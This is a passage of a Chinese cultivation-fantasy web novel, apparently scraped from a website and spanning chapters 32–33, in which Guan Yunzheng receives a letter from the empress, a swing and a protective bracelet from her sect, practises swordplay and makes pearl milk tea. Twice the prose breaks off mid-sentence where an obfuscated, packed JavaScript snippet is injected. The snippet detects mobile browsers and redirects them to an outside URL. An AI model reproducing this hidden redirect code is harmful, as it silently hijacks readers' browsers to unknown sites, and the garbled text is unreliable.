佩服。关云铮简直看呆。 来人又无声无息地向后走着,退出亭子,应当是去取茶饼了。 “尝尝。”苍韫桢示意道,又看向一边悠闲喝茶的章存舒,“你请的厨子会做点心吗?” 章存舒挑了挑眉,没回答。 苍韫桢于是笑了一声:“那这回是我赢了。” 不懂你们大人物每天在想什么,关云铮看得无言,本小人物只知道皇家的点心就是好吃。 只可惜来之前已经吃过晚饭了,而且修仙之后自己心情不好就会暴饮暴食的坏毛病也差不多改了,此刻只能把看着格外好吃的几种点心挨个尝了尝。 “我还有些折子要批,就不多待了。”苍韫桢起身,步子都快迈出亭子了,又转回身来,在关云铮身边站定。 关云铮被她去而复返的举动一惊,差点把点心碎屑卡喉咙里,赶紧不动声色地吞咽了一下,而后抬起头来看向身边的这位女帝。 “若是你愿意,日后我也会同你通信,云铮觉得如何?” 关云铮感觉那点心碎屑似乎完全没被咽下去,她此刻简直想惊天动地地咳嗽一番,好驱散眼前跟幻觉一样的场景,和耳边这句幻听一样的话。 苍韫桢挑眉:“不出声就当你同意了?” 关云铮挣扎着捞过自己面前的茶杯,狠狠灌了一口后,才开口道:“为何?” 为何是我? 苍韫桢低头,脸侧一缕长发落下来:“倒是不知为何,但你大约会觉得有用的。” 关云铮更觉茫然,她却不再多说,只大步走向亭外,朝二人摆了摆手。 不愧是皇帝……太说风就是雨了,完全捉摸不透。 关云铮看着她离开的方向陷入沉思,或者说呆滞更为恰当。 章存舒轻笑一声,打破寂静:“吃不动了?” 关云铮闻声缓慢地转过脑袋:“吃不动了。” 章存舒一拂袖子,桌上的碟子被一扫而空,点心估计都被收进了他身上某处暗袋:“那带回去给你师兄师姐吃。” 关云铮迟钝地点点头,随即想通什么,看向章存舒:“师父。” “嗯?” “你该不会是特意带我来打秋风的吧?” 章存舒挑眉:“似乎……确实如此?” 你还真敢认啊?? **** 可能是苍韫桢给她带来太多冲击,第二次被章存舒带着缩地成寸的时候,关云铮并未觉出太多晕眩感。 但直到在师门落地,她才意识到刚才的想法是她的错觉。 心理上的震撼并不能减缓生理上的眩晕,所以她一落地就倒地了。 太好了无师自通昏昏倒地(主动语态版)。 章存舒反应迅速,在她脑袋马上要磕到石板之前托了她一把。 关云铮坐在地上,安详地靠在回廊的柱子上:“多谢师父。” 章存舒沉默了一下:“我怎么觉得你话里的意思更像是都怪师父?” 关云铮继续安详地靠着柱子:“师父知道就好。” 章存舒也没生气:“这些点心是你恢复后去给,还是我现在去给?” 关云铮睁开眼,还是很想吐,决定去找师姐讨个清心诀,干脆顶着头晕爬起来:“我去给,师父你歇着吧。” 章存舒把点心和茶饼从暗袋里拿出来,又不知从哪找出两个碟子,做完这一串动作后抬眼,发现关云铮看着点心的眼神非常怀疑。 他下意识解释:“暗袋里有专门存放吃食的地方。” 关云铮怀疑的目光收回了。 章存舒无言片刻,开始思考自己在小徒弟心里到底是个什么糟糕的形象。 关云铮端上碟子、揣上茶饼准备走,发现章存舒还站在原地,困惑地回头看了眼。 章存舒收回思绪,对上小徒弟的视线,自觉道:“那为师就哪凉快哪待着去了。” ? 怎么还怪幽怨的。 关云铮决定不去思考任何会在此刻给自己的大脑加重负担的事情,迈开步子往师姐院子里走了。 走到师姐院子的时候发现师姐不在里面,房门开着,灯却没亮。 关云铮无意识地“咦?”了一声,决定先把点心拿回自己的小院,等一会儿再给师姐送过来。 至于为什么不给两个师兄送去……她潜意识不是很想单独面对大师兄。 虽然她知道大师兄只是看起来有点严肃,好吧是有点凶,但是看他和师姐相处就知道他其实还挺温和的。 她单纯是觉得自己好像没什么话题跟大师兄聊,容易搞得两个人都尴尬——虽然也可能只有她自己尴尬。 至于馋鬼三师兄……她有种感觉,自己回到小院没多久,这厮对美食的直觉就会把他带到她的小院里。 虽然给自己找了很多理由,但最主要的理由还是她现在晕得不行了,想回去瘫一瘫。 她重新走上回廊,还没等看见自己的小院,就听见闻越咋咋呼呼的声音传来。 ?这人在她院子里做什么?不仅感知到点心还感知到她要带着点心回来了? 这么神奇? 关云铮狐疑地朝自己的小院走,期间茶饼从怀里掉出来,还狼狈地弯腰捡了捡。 再一抬头,她就被眼前的景象惊呆了。 ——她的小院里,多了一架秋千。 虽然江却和连映还在围着秋千进行一些物理的敲敲打打,以及法术上的增添色彩细节,但那架秋千就在那,没有任何人会怀疑它不是一架秋千。 闻越的咋咋呼呼也在此刻得到了合理的解释:他显然没想到这么短的时间里这架秋千就被搭好了。 关云铮也没想到。 虽然她今天早上出门上课后就再也没回过自己的小院,但看秋千的精细程度,也绝对不是一天之内就能完成的。 “你们……”关云铮站在回廊上看了一会儿都没被人发现,忍不住出声打断三人,却发现自己的嗓子有点黏。 她偏过头清了清嗓子,听见连映笑着的声音:“回来啦?带了什么好吃的回来?” 关云铮还没从眼前的景象回过神来,下意识举起自己两只手。这动作本来就有点“投降”意味,加上她手里那两碟点心,显得这个画面更好笑了。 这下连看过来的江却都被她的动作逗笑。 关云铮后知后觉地放下手,端着点心走进院里,把手上的点心和怀里的茶饼都放下:“这架秋千……” 闻越上前来拿了块点心,又伸出另一只手搭住她肩膀:“其实是我想出来的点子,怕你在师门觉得日子无聊,决定做个什么给你解闷。不过秋千是师兄和师姐想出来的,也是他俩搭的。” 关云铮下意识反驳:“我在师门不无聊……” 闻越咬了口点心,又抬手揉了一把她的后脑 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秋千像是自带感应,在她晃腿后开始前后摆动起来。 仙门秋千真是不同凡响啊。关云铮一边荡秋千一边在心里感慨。 “师父又是怎么知道你们要做秋千的?”她晃悠着问道。 连映挑了块荷花形状的点心:“早上我们想好就跟师父说了。” 。也是。 哪有那么多神机妙算,更多的还是师门之间没有隐瞒。 真好呀,她的师门。 “你晚饭没吃吗?”连映的声音传来。 闻越嘟嘟囔囔的声音紧随其后:“这可是皇家点心!” 关云铮若有所思,看来确实可以多跟女帝通信,至少搞好关系方便日后打秋风。 。真是胆大包天啊关云铮。 **** 跟女帝通信的想法终究只是个想法,因为关云铮也不知道女帝所说的通信方式具体是指什么,从昨天章存舒带自己去见她那种不寻常的赶路方式来看,她所说的也不会是寻常的通信。 但关云铮没想到这么快就会收到女帝给她的信——从她房间那盏油灯里飞出来的。 坦白说那一瞬间关云铮有点被吓到,因为那时候她本来已经要出门去饭堂了,身后却突然传来哗啦作响的动静,院里那会儿也没刮风,任谁来了都会有点惊恐的。 仿佛后背有人。 她转过身时那张纸刚好从油灯里飞出来,在空中打着卷地朝她飞过来,像一架没折好但续航能力一级的纸飞机。 关云铮伸手接住,发现是一张有一定厚度的信纸。 上面洋洋洒洒地写了几排字,出乎她意料的是,这些字居然是横着写的。 来这几天虽然都在学术法和武器这样不需要读书的科目,但是褚先生的课上没少看到古籍似的教科书,都是竖排的,所以她写文章的时候还强迫自己写成了竖排,边写边难受。 “点心味道如何? 你师父给你准备的礼物可看到了? 下次来是何时?” 落款是异常端正的一个“苍”字。 好吧一下就明白是谁的信了。 师父你也没说过你俩通信的方式这么离奇啊? 关云铮把信纸叠好放进怀里,把房门关上,打算待会儿要是在饭堂遇见师父就去问问,顺便还得托李演拿些水牛奶来。 一想到下午小悯就可以过来一起住了,就觉得可以暂时给这个修仙世界一点好脸色呢。 不对,等会儿。 她昨晚被带着缩地成寸前是不是又把文章落下了? 关云铮的好脸色消失,绝望地叹了一口气,决定飞奔去师父院里把自己的文章拿回来再去饭堂。 不过她的计划没能落实,因为没等她走出小院,就看见院中石桌上好好地放着自己那卷文章,被一个闪闪发光的东西压着,纸卷中间都微微凹陷了下去。 她靠近石桌,才发现那闪闪发光的东西似乎是一个手镯。 师父给的? 还没到上交文章的时候,关云铮把纸卷拿回房间,拿着手镯朝饭堂进发了。 32.第 32 章 今日难得师门齐聚,李演也坐在桌边,见了小跑进来的关云铮招招手:“昨日你在地里发现了木薯?” 关云铮本来准备看见章存舒就问他手镯的事,被这么一打岔只好把手镯继续攥在手里,先说昨晚菜地的发现。 李演听完点点头,非常诚恳地问道:“所以何为木薯?” 嗯……你问这么质朴的问题我反而有点不知道怎么回答,有种面对医学基础名词解释时的茫然感,比如说胫骨的名词解释就有一种硬解释的感觉。胫骨就是……胫骨啊。 虽然是可以通过位置结构和功能来解释没错…… 关云铮收敛自己的胡思乱想,打算实话实说,毕竟她唯一知道的就是她一无所知:“在此之前我也没见过木薯,说不上来,只知道它没熟透的时候好像有毒。” 旁边的闻越被一口粥呛了个天昏地暗。 关云铮安抚地拍拍他的肩膀:“放心,我肯定煮熟后再给你品鉴。” 闻越一边拍胸口给自己顺气,一边对着关云铮摆手:“不是,自然不是怀疑你会给我下毒,我只是没想到你对没见过的东西也敢下手,这东西当真能吃吗?” 关云铮总不能说自己虽然没见过但没少吃,也没少看人吃,毕竟修仙界没有美食博主教学视频。 “云崽觉得能吃应该就能吃。”然而没等在座的其他人开口,闻越就已经自问自答地解决了他的疑惑。 关云铮觉得实在好笑,忍俊不禁:“师兄你怎么像是在家没吃过什么好的,闻逍大哥难道虐待你了?” 变脸简直发生在瞬息之间,闻越一脸严肃地坐直,生怕别人误会似的连连摆手:“没有这回事。” 脸上的忠诚简直经得起严刑拷打呢,师兄。 这下全桌人都笑了,连江却都勾了勾嘴角。 “需要我做什么?”大家都笑完后,李演才开口问道。 关云铮接过连映递过来的粥碗:“上次的水牛乳可还有?” 李演点头:“这个你师父同我说过了,待会儿我就下山取来。” 关云铮一勺粥还没送进嘴里,闻言诧异地抬头看向章存舒。 章存舒与她对视,又将目光在她另一手上停留片刻,随即开口解释:“方才说的。” 关云铮没再细想,点点头,喝了一口粥后又说:“地里的甘薯还没完全成熟,约莫还要过些日子,这样说来,木薯也不知道成熟了没有……” 章存舒挑眉:“这简单,到时我去抓栖霜来尝尝。” 关云铮差点也被粥呛了个天昏地暗。 她惊疑不定地抬头,看向神色如常的章存舒:“万一有毒呢?” 章存舒笑着没回答,反而是一直默默听着的连映开口说道:“是说师伯的那只貂吗?” 关云铮点点头。 连映神色也很自然:“它原本就是吃毒物长大的。” 关云铮皱眉,心说原来真有这种神奇物种,转念又想起昨天章存舒说的它来苍生道偷吃,再度惊恐地从粥碗里抬起头:“师父你昨日不是说它来我们这偷吃吗?” 连映被她的神情逗笑了:“当然也能吃寻常吃食。” 也是。 都怪木薯名词解释。害她满脑子有毒没毒。 碗里的粥浅了一半,她又想起一件事:“我忘了一件事。” 她脸上的神情十分懊恼,江却不由得看过来:“何事?” 关云铮简直想给自己脑袋一下,不知道自己是怎么能忘记这个细节的:“木薯粉洗出来后,需要晾晒三天才可以使用……” 那小悯就没法在搬过来的当天喝到珍珠奶茶了! 那就太没有仪式感了!人生憾事! 闻越叼着勺子:“烘烤行吗?” 关云铮犹自懊恼,一时没反应过来,看向他的眼神里混杂了一点茫然。 “非得晾晒三天?”江却疑问道。 关云铮发现在座的没有一个把她提出来的细节当回事,但倒不是那种“我不明白你在计较什么”的不当回事,而是“小问题,换个方法解决”的不当回事。 太好了是无条件包容的师门她有救了! “那就,今日午后试试?”她试探着问道。 李演积极响应:“得嘞,那我先去取水牛乳。” 他说走就走,把缩地成寸用得像是不耗蓝的平A。 关云铮这才把手里的手镯拿出来:“师父,这是你放我院里的吗?” 倒也不是刻意不在李演面前拿出来,就是李演在的时候话题全在怎么倒腾木薯上,忽然切入手镯话题感觉有点奇怪——虽然现在李演前脚刚走,她后脚就掏出个藏了很久的东西也挺奇怪的。 总之都怪时机不对,不是她的问题。 章存舒点头:“为何不戴上?” 关云铮把碗挪到一边:“为何给我此物?” 章存舒不答反问:“不好看吗?” 关云铮拿着手镯,有点无语,感觉师父又在谜语人:“好看,不过…….” 被她腹诽的谜语人这回倒是没有让人困惑太久,反问了一句后就重新解答了方才的问题:“这是个法器,戴着防身。” 关云铮闻言乖乖地戴上了,刚套上的时候还有点宽松,勉强卡在手掌两侧才能不掉下来,她下意识晃动手腕,就见这镯子下滑了一截,倏忽之间似乎变小了一个尺寸,自动吻合了她的手腕围度。 不愧是法器哈。 和昨日那个秋千的触感很像,有点凉凉的。 “不过归墟境内需要用到这个法器吗?”关云铮又看向章存舒。 归墟应该很安全吧,她可是不久前才立过flag,章存舒这样会让她以后都不敢夸口了。 章存舒态度随意,像是那镯子只是个寻常的首饰:“先戴着玩儿,以后还有改进。” 关云铮一脑门问号,心说你这话的意思不就是现在这个强度还不够安全吗,那岂不是更可怕了。 大概是她脸上吐槽的意味太过明显,章存舒又补上一句:“给你之后下山用的,在归墟就当个首饰戴着。” 关云铮满意了,伸手又问连映要了个小米做的窝窝头。 **** 上午是蒲飞鸢的课,之前图方便,下了课总是把木剑放在饭堂,现在吃完饭拿了剑,关云铮边走边想,好像是该拿摇羽进行之后的剑术练习了,被她关在剑鞘里这段时间总该老实点了吧?也不知道晾了这许多天,剑身里的灵气还够不够它蹦出几个字来嘲讽。 不过现在她引气入体了,是不是也能有灵气给摇羽用了? 。那还是再晾几天吧。 她一边腹诽一边往前走,楚悯依旧站在不远处等她,见到她眼里出现笑意:“云崽早。” 关云铮拉住她的手往武器课场地走:“怎么感觉你今日格外高兴?” 虽然不怎么明显,但就是有种很雀跃的感觉。 楚悯似乎有些不好意思,抿了抿嘴才说:“我还没有和年岁相仿的朋友住在一起过。” 啊?你们天问就这样虐待门派天才?什么态度? 好吧也可能是小悯太天才了,整个门派这个岁数的就她一个。 关云铮近乎慈爱地拍了拍楚悯的胳膊:“明日起我们就住一起啦!” 楚悯点点头,换了个话题问道:“你怎么都不用从剑冢得来的那把剑?有自己的佩剑岂非比木剑好些?” 关云铮实话实说:“我怕它还是不听话,用它御剑没准摔得更狠呢。” 啊,说到这个……她之前遇见鬼灯楼那三个邪修打算出去以卵击石的时候,是不是承诺了摇羽一句等回来了带它去剑冢吸灵气来着…… 关云铮感觉莫大的心虚涌上心头,那天回来后她就因为引气入体发烧了,之后就忙着上课和……倒腾奶茶,竟然完全把这件事抛诸脑后了! 完蛋。 她说着说着没动静了,楚悯困惑地扭头:“怎么了?” 关云铮痛心疾首地反思了自己的罪孽。 楚悯沉默了一下:“不如今晚带它去剑冢?” 虽然迟来的深情比草都贱但她好歹想起来了,就是不知道摇羽愿不愿意给她个面子原谅她了。 关云铮叹了口苦大仇深的气,在蒲飞鸢走过来之前拿起自己的木剑开始了今日的练习。 一种武器想要学到能上场比划几下,见个真章,几天的工夫是完全不够的,但花架子一般的剑招,通常练上几天就能有个大致的样子了。 关云铮感觉自己现在像是半罐子水,因为没装满,晃荡的动静便格外响,练起剑招来总是咋咋呼呼,仿佛不日就要变成一派剑术大师,在江湖上拥有独一无二的名号了。 她一边练剑一边反思,大概是以前中二病严重那会儿太想划拉两下冷兵器了,导致她现在稍微学会点什么都有种“这也太帅了”的心态,舞起剑来反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938610|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而把本来就是空架子的剑招变得更虚浮了。 简而言之就是人一旦觉得自己帅,行为举止就会变油。 关云铮被自己下的结论恶心得一阵恶寒,连忙甩甩脑袋清空这些有的没的,深吸一口气重新开始练习这一套剑招。 蒲飞鸢又悄么声地出现了,不过没有走到关云铮旁边,而是在楚悯身后看了一会儿。 不知道是不是上辈子对监考老师的感应系统还在,她哪怕不用余光也知道蒲飞鸢在哪个位置,练习剑招的动作不由得慢了一些,手部动作更是细致得能雕朵水花出来。 好吧夸张了,其实更像是监考老师在旁边的时候写的解都要工整几分。 纯粹是本来题目就不咋会,被人看了心虚。 关云铮对自己感到无语,但又实在克制不住学生时期培养起来的本能,只好一边心虚地练着剑招,一边提防着蒲飞鸢看完楚悯练习后走过来,对她的剑招做出些什么点评。 “腕部用力的方式不对,实战中你自然可以把剑当棍棒一样,以小臂带动手腕,横扫出去,但这一剑招里你应当以腕带动小臂,不能把剑舞得呼呼生风,要让剑像微风一样拂过,剑尖用力。” 关云铮知道蒲飞鸢在说哪一招,闻言悄悄看了眼自己的动作。 很好,也是小臂带动手腕。 她试着按照蒲飞鸢对楚悯的指点改进自己的动作,发现剑的力道好像是要比方才小一些。 形象点形容,大概就是先前是在“抡”剑,此刻才是舞剑。 然而不知道是不是她腕部带动小臂的力用得不对,这个动作重复几遍后她手都有些发酸,想悄悄休息一会儿时,蒲飞鸢已经结束对楚悯的指点,从那边走了过来。 “手腕不舒服?”蒲飞鸢一眼看出她的情况。 关云铮点点头。 蒲飞鸢神情毫不意外:“木剑轻便,舞剑时反而找不好着力点,容易伤了手腕。” 关云铮有点没明白。 蒲飞鸢示意她把剑交给自己,待到接过剑后,她又把自己的佩剑拔出剑鞘递给关云铮。 关云铮猝不及防,下意识伸出双手接过。 蒲飞鸢看她:“沉吗?” 关云铮点头。 蒲飞鸢抬了抬下巴:“用它练一遍方才那一招。”说完她又转身招呼另一边的楚悯,“楚悯也过来。” 关云铮试探着挥剑。 手里的剑很沉,让人在发力时就下意识用上更大的力气,握紧剑柄,手腕带动小臂时,能感觉到剑同时也在拉扯着手腕。 像是某种制衡。 关云铮似懂非懂,蒲飞鸢又把木剑递给她,把自己的佩剑拿回来递给身侧的楚悯,示意二人用自己刚拿到的两把剑再练一遍剑招。 好轻。 好像要……飞出去了一样。 楚悯也用蒲飞鸢的佩剑试了试剑招,又把两把剑分别拿在两手中掂量了一番轻重。 蒲飞鸢站在两人中间:“明白了?” 关云铮没说话,楚悯尝试着开口:“剑的重量与施加在剑身上的力互相制衡,若是剑太轻,用的力就不够,剑招会浮,剑甚至会脱手,若是剑太重,用的力就过头,剑招太沉,甚至会使不出正确的招数。” 关云铮与有荣焉似的点点头:看看,这就是学霸级别的,这还是我朋友。 肥啾蓬松.jpg 蒲飞鸢也满意地点了点头:“正好明日起你们要去找适合自己的佩剑,到时回来我们再继续讨论这套剑招。” 关云铮和楚悯脸上出现了一模一样的茫然神色:“去哪找?” 蒲飞鸢不明所以地反问:“你师父没告诉你?” 关云铮心说他个谜语人不告诉我的事多了,你指哪一件,然而面上她只是乖顺地摇了摇头。 蒲飞鸢不太在意的样子:“约莫忘说了,明日起你们这些教习弟子要下山去寻找适合自己的佩剑,方式不限,可以去兵器铺子买也可以回家去找,要是有本事自己锻造一把也行,当然了,也不限定类别,可以是剑,也可以是刀、枪、戟,由你们自行决定。” “就明日?”关云铮追问。 蒲飞鸢这回不太确定地说道:“好像是三日?你师父和掌门都没明说,大概三日起步吧。” 三日起步? 这些教习学生要离开归墟至少三天? 不是,章存舒和步雁山这是要搞什么幺蛾子? 33.第 33 章 关云铮正腹诽着,鬼使神差间低头看了一眼自己的左手腕。 章存舒给的手镯反射着阳光,晃了她一下。 就说怎么突然给她个防身的法器!敢情早就决定把他们丢下山了,居然还不明着告诉她,又谜语人! 关云铮一怒之下怒了一下,决定下午给章存舒的那份奶茶里不放糖了。 蒲飞鸢注意到她的视线落点,也垂眼看向她左手,随即带着几分了然地挑起一侧的眉。 “你师父给的?” 楚悯也跟着看过来。 关云铮抬起左手腕,方便楚悯看清楚:“他说是个防身的法器,却没跟我说是给这次下山用的,我还当是归墟有什么问题。” 蒲飞鸢笑了一声:“我看倒未必是给这次下山用的。” 关云铮不明所以地抬头看她。 蒲飞鸢把自己的佩剑收回剑鞘:“我估摸他早就想给了,下山不过给了个合适的时机。” 哦,先前一直在归墟没必要,正好明日要下山,就能把这个先前显得有点“小题大做”甚至“杞人忧天”的法器送她了? 关云铮看了眼左手腕,感觉有点捉摸不透章存舒送她这法器的用意。 图它好看? 腕上的东西不知道是什么材质的,流光溢彩的同时又带着点金属的冷感,华而不实的外观之下似乎还藏着点难以捉摸的杀机。 关云铮收回视线:确实还挺好看的。 但是为什么单送她?师门那么多人呢。 关云铮本来练剑练了半身汗,双颊发烫的同时脑子都快烧沸了,骤然停下这么一思考,山上的凉风把她的汗都卷走了,徒留一点凉丝丝的感觉。 就像那个秋千一样。 蒲飞鸢转身往练武场中央走:“跟我过来,得嘱咐几句明日下山的事。” 关云铮收回思绪,把木剑背在身后,跟楚悯一起跟上蒲飞鸢,三人的衣服远远一看,像是玄色古木边缀了两朵随风晃动的白花。 其他人见蒲飞鸢带着两个弟子走向场地中央,以为是要抓两个幸运儿演示剑招,陆续停下了自己的动作,朝蒲飞鸢所在的方向看过来。 蒲飞鸢停下了脚步,关云铮一把抓住楚悯的衣袖。 楚悯不明所以:“怎么了?” 关云铮摇摇头,想起第一堂武器课时被不具名不可抗力拽得离地平移的经历,默默又攥紧了一点楚悯的袖子。 楚悯似乎也想起了什么,沉默了一会儿后,正打算伸手也抓点东西,站在她们身前的蒲飞鸢就开口了:“明日起,诸位须下山寻觅自己趁手的武器,三日后再回归墟继续教习。” 在场的人估计也跟方才的关云铮一样,对这件事毫不知情,因此蒲飞鸢话音落下后,本来安静的人群中爆发出不小的动静。 看到自己的同学也被蒙在鼓里,她的心里就好受多了。 关云铮不着调地想着,垂眼帮楚悯理了理被她攥得有点皱的衣袖。 “其他的明日步掌门会告知,今日练完剑就回去歇着吧,收拾下山要用的东西。”蒲飞鸢接着说了这么一句,就真的当起了甩手掌柜,转过身越过人群走了。 那背影简直不像是刚才教她们木剑和剑区别的人了,关云铮甚至品出了一点打工人下班的解脱味儿。 她同情地收回视线,看向一边的楚悯,感慨道:“让蒲先生来教我们课业,还是太为难她一个江湖散修了。” 意识到自己的话有点歧义,关云铮又找补道:“不是说她能力不足,我的意思是……” 楚悯眨眨眼,完全理解了她的言外之意:“江湖散修平时不过这样规律的日子,还得面对这么多等着她传授知识的弟子。” 关云铮点头,揣着半腔对楚悯这个知己的喜悦,和半腔对蒲飞鸢这个放假打工人的羡慕,拉着楚悯一起去继续练剑了。 其实她也想干脆不练回师门去,毕竟老师都溜了。但饭点还早着,回去就得她做菜了,今日练剑太累,她可再拿不动菜刀了,还是交给李演吧。 **** 今日午饭是薄皮馅饼,馅料里有菜有肉,还添了豆腐点缀,好吃得不像李演的常规水平。 关云铮叼了一个就急着走,要拉着楚悯去自己的小院。 李演在后面端着一碟子馅饼茫然:“你还回来吃吗?” 关云铮朝身后摆摆手:“浑,滚我楼几个。”后面俩字变清楚了还是因为馅饼快从嘴里掉下来了,忙伸手兜了一把。 李演端着碟子回去了,不明所以地看向连映:“她急着干什么去?” 江却把馅饼分割好,端给连映,解答了李演的问题:“昨日给云铮搭了一个秋千。” 李演坐下吃馅饼:“哦,老章跟我提过一嘴,我给忘了,怎么样,她喜欢吗?” 没等在座三个回答,李演又点点头:“看她忙不迭拉着朋友过去,应该是喜欢。” “明日她下山,我是不是得做点什么给她带着?”李演格外操心,吃了几口馅饼心思转了几个来回。 闻越拿了块馅饼:“等云崽回来问问她想吃什么吧,要是想不出就给她多带些钱,下山买去。” 连映和江却一起看向他。 闻越正沉醉式吃馅饼,察觉到头顶的注视抬起头来,嘴被占着说不了话,用眼神询问了一番。 连映叹了口气:“你这挥金如土的性子到底是随了谁。” 闻越把饼咽了,神色十分无辜:“师父啊。” 江却收回视线:“那倒也是。” 闻越无言片刻,又看向李演:“怎么感觉你比云崽还紧张?” 李演一口饼嚼不了几下就咽了,看着确实比叼着饼就走的关云铮焦虑多了。 “我本来也不担心,”李演实在咽不下了,端过旁边装了水的碗,灌了一口水顺了顺,“谁知道你们一个个都没当回事,我寻思偌大个苍生道总得有个人稍微上点心吧。” 在座三人对视一眼。 连映笑着说:“您早上帮着去取东西的时候,师父给了云崽一个防身的法器。” 李演一脸状况外:“什么样的法器?” 切成块的馅饼被吃完了,闻越只想再吃一块,但眼前只剩下整个的,于是他伸出去的手迟疑一瞬,桌子另一头的江却注意到,放下自己手里的饼,端着那碟起身去切了。 闻越收回手,配合地坐在原地等着,顺带回答了李演的问题:“是个镯子,说实话我还不知道镯子要怎么防身,但既然是师父给的,想来是没什么问题。” 李演复述了一遍:“镯子?” 江却端着碟子回来了,在连映身边坐下,把碟子推到闻越面前。 “您见过?”连映问道。 李演点点头:“见过,他打磨的时候我就在旁边。” 关云铮光速离开又光速回来了,闻言凑在闻越身后:“什么打磨?” 闻越拿起一块馅饼往后递给她:“在说你的镯子。” 关云铮把饼递给楚悯,还没等把手伸到前面,闻越又递过来一块。 她看着闻越后脑勺的眼神带上几分惊讶。 闻越头也不回:“又编排我什么呢云崽?” 关云铮跟楚悯一起在桌子空着的那边坐下:“我没有啊。” 说完无辜地朝闻越眨眨眼。 闻越也只是跟她开玩笑,根本没在意,吃饱了坐在一边看几人聊天。 关云铮夸了一句李演今日做的馅饼,又问道:“师父又上哪儿去了?” 李演不知情,是江却回答的:“和掌门一起去布置明日的阵法了。” 楚悯咀嚼的动作顿了一下。 关云铮困惑:“还有阵法?” 这回连江却都答不上来了:“具体什么用途,我也不清楚。” 可恶的谜语人。 反正明天都得揭晓谜底,她索性暂时放过这个谜题,转而去问李演:“这镯子有名字吗?” 李演看她:“大概没有,你自己起一个?” 关云铮“哦”一声:“要是起了名字,叫它,它会有反应吗?” 李演露出为难的表情:“法器的事,我也不太懂。” 好吧,看来只能等谜语人回来再问了。 **** 饭后关云铮准备洗木薯粉。 得把木薯切碎,挤压出浆,然后沉淀,把沉淀物晾干就成了木薯粉。 步骤看起来很容易,实际上一点也不简单。 从菜地里挖出来的那块木薯长得堪称奇形怪状,光是变换着角度把它刨皮就费了一番工夫,刨完皮关云铮切了一半就累了,最终还是看不下去的李演接过了刀。 “没切过这种形状的菜吧。”李演一边快速给木薯切片一边问道。 那确实没切过,她平时炒的基本都是非常符合刻板印象的蔬菜,茎叶分明或者干脆就是瓜,比这玩意儿可好切多了。 “没切过。”关云铮老实回答。 李演把切好的挪到一边,给木薯翻了个身继续下刀:“切完片之后呢?切碎?” 关云铮点点头,随即意识到李演可能注意不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946543|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又改为开口:“对,切碎。” “切碎之后呢?”李演似乎觉得她这样问一句答一句的模样有些好笑,从刀背上抬起目光,又看了她一眼。 关云铮不明所以:“你都接过去了我做什么?” 李演这回真笑出声了:“你坐着等吃,不然还能怎么?” 行吧。 关云铮美滋滋地搬了条小凳子坐在一边,旁观李演精湛的刀工。 “你师父那镯子,在他手里好些天了,今日总算是给出去了。”李演一边切木薯一边同她说道。 师兄师姐三人帮着楚悯去搬东西了,此刻饭堂里只有关云铮和李演二人,唯一的动静就是刀刃和木薯相接时发出的沙沙声。 “为何?”关云铮不解,因为还有待改进? 李演像是想起了什么特别好笑的事,甚至特地停下了手里的刀:“他觉得那镯子不够好看。” 哈? 这还不好看? 关云铮抬起手腕,跟流光溢彩的镯子大眼瞪……不是,总之瞪了一会儿镯子。 “至于上头的术法,我不精此道一概不知,你要是想知道,还是问你师父为好。” 关云铮点点头,本来也是这个打算。 “不过我觉得他可能没几句实话。”李演又说道。 ……太巧了她也这么想。 “总之,”李演切完片,停了一会儿,又开始切丝,“他本来大概是没打算把那镯子给你的,至少不是今日,明日下山的事,也是临时决定的,要是你对这些事好奇,最好直接问他。” 关云铮在旁边看着,感觉李演说到这好像翻了个隐晦的白眼:“朝安城的公子,花花肠子太多。” **** 章存舒步完阵回来的时候,五个脑袋正围在一起用火烤干那一小堆木薯粉。 那块木薯的个头固然是薯中翘楚,但要洗成木薯粉,分量还是不太够看,关云铮一边不错眼珠地看着它逐渐被烤干变白,一边小心着不在旁边扇动起风浪,省得给本就不多的木薯粉雪上加霜。 章存舒刚一走近,五个脑袋一起抬起来。 关云铮觉得这场景有点好笑,别人不敢高声语是恐惊天上人,他们是恐惊炉边粉。 章存舒不做声地给木薯粉底下又弹了朵小火花。 关云铮有点忧虑地看着那点木薯粉。 不会越烤越少吧……待会儿还能做出珍珠吗…… 楚悯坐在她旁边,安抚地拍了拍她的手背。 有术法产生的火苗在底下烘烤,木薯粉很快就完全干透,呈现出一种灰白的颜色。 关云铮小心地把碟子端起来,又去灶边寻找白糖。 章存舒挑眉,感觉自己的小徒弟有点太重视今日的吃食了。 关云铮开始专心搓珍珠煮奶茶,在炉灶前忙得像个上了发条的小玩具。 等到珍珠奶茶大功告成,章存舒已经把方才的阵法跟在座的每个拆解清楚了,关云铮一回来,对上四张若有所悟的脸。 她这是错过了什么重要的知识点? 算了反正不差这一会儿,讲课老师是自己师父,以后抓着问就是了。 坦白说要不是古代的衣服上不流行绣字,她真的很向往在前面绣个“师父心腹”,背后绣个“大患”。 “木薯太少了,只做出这么一点珍珠,每个人只剩几颗了,大家将就吃,下次我多做点。”关云铮把装着珍珠奶茶的碗放下,又给每个碗里放进一只勺子。 哦对了,是不是还没抓栖霜来试毒来着。 虽然这事好像听着不太厚道。 关云铮正这样想着,一低头,一团白影已经窜到章存舒脚下。 章存舒脸上的神色颇为惋惜,手上舀了一颗珍珠给它。 关云铮:…… 槽多无口。 